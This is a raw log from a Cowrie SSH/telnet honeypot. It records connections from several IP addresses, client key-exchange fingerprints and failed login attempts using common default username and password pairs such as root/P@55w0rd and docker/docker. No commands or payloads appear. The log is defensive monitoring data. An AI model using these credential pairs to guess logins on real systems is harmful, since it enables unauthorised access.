{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:31.783152Z","src_ip":"176.65.139.95","session":"782dc9d69122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:31.894490Z","src_ip":"176.65.139.95","session":"782dc9d69122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.020610332489014,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:31.936572Z","src_ip":"49.37.53.34","session":"65e9a303cfb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:32.544918Z","src_ip":"176.65.139.95","session":"782dc9d69122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.290719985961914,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:32.869565Z","src_ip":"49.43.169.9","session":"895f3e90c51c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:33.638800Z","src_ip":"176.65.139.95","session":"782dc9d69122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38024,"dst_ip":"159.203.135.109","dst_port":22,"session":"08e02f8a014a","protocol":"ssh","message":"New connection: 80.94.92.186:38024 (159.203.135.109:22) [session: 08e02f8a014a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:37.699678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:37.879977Z","src_ip":"80.94.92.186","session":"08e02f8a014a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:37.884045Z","src_ip":"80.94.92.186","session":"08e02f8a014a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58066,"dst_ip":"159.203.135.109","dst_port":22,"session":"117e972fd7c8","protocol":"ssh","message":"New connection: 176.65.139.95:58066 (159.203.135.109:22) [session: 117e972fd7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:38.706525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:38.710948Z","src_ip":"176.65.139.95","session":"117e972fd7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:38.792396Z","src_ip":"176.65.139.95","session":"117e972fd7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:39.220689Z","src_ip":"176.65.139.95","session":"117e972fd7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:39.632827Z","src_ip":"80.94.92.186","session":"08e02f8a014a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:40.400075Z","src_ip":"176.65.139.95","session":"117e972fd7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:40.950548Z","src_ip":"80.94.92.186","session":"08e02f8a014a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58072,"dst_ip":"159.203.135.109","dst_port":22,"session":"cecf00ebbb32","protocol":"ssh","message":"New connection: 176.65.139.95:58072 (159.203.135.109:22) [session: cecf00ebbb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:44.910854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:44.947343Z","src_ip":"176.65.139.95","session":"cecf00ebbb32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:45.182132Z","src_ip":"176.65.139.95","session":"cecf00ebbb32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:45.448478Z","src_ip":"176.65.139.95","session":"cecf00ebbb32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:46.532589Z","src_ip":"176.65.139.95","session":"cecf00ebbb32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"7127f845368f","protocol":"ssh","message":"New connection: 159.203.92.129:47284 (159.203.135.109:22) [session: 7127f845368f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:48.925910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:48.930425Z","src_ip":"159.203.92.129","session":"7127f845368f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:48.937531Z","src_ip":"159.203.92.129","session":"7127f845368f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LXH","password":"123","message":"login attempt [LXH/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:48.953029Z","src_ip":"159.203.92.129","session":"7127f845368f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:49.991349Z","src_ip":"159.203.92.129","session":"7127f845368f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57516,"dst_ip":"159.203.135.109","dst_port":22,"session":"46bc7793cd4a","protocol":"ssh","message":"New connection: 176.65.139.95:57516 (159.203.135.109:22) [session: 46bc7793cd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:50.723817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:50.728376Z","src_ip":"176.65.139.95","session":"46bc7793cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:50.956097Z","src_ip":"176.65.139.95","session":"46bc7793cd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:51.396576Z","src_ip":"176.65.139.95","session":"46bc7793cd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:52.496006Z","src_ip":"176.65.139.95","session":"46bc7793cd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57530,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5b835aa9e8","protocol":"ssh","message":"New connection: 176.65.139.95:57530 (159.203.135.109:22) [session: ca5b835aa9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:56.637727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:56.699703Z","src_ip":"176.65.139.95","session":"ca5b835aa9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:56.762774Z","src_ip":"176.65.139.95","session":"ca5b835aa9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:57.177944Z","src_ip":"176.65.139.95","session":"ca5b835aa9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:58.265479Z","src_ip":"176.65.139.95","session":"ca5b835aa9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48418,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f25edebf521","protocol":"ssh","message":"New connection: 176.65.139.95:48418 (159.203.135.109:22) [session: 9f25edebf521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:02.349048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:02.372842Z","src_ip":"176.65.139.95","session":"9f25edebf521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:02.434058Z","src_ip":"176.65.139.95","session":"9f25edebf521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:02.928355Z","src_ip":"176.65.139.95","session":"9f25edebf521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:04.066791Z","src_ip":"176.65.139.95","session":"9f25edebf521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48420,"dst_ip":"159.203.135.109","dst_port":22,"session":"34b011248a6d","protocol":"ssh","message":"New connection: 176.65.139.95:48420 (159.203.135.109:22) [session: 34b011248a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:08.030625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:08.114420Z","src_ip":"176.65.139.95","session":"34b011248a6d","protocol":"ssh"}
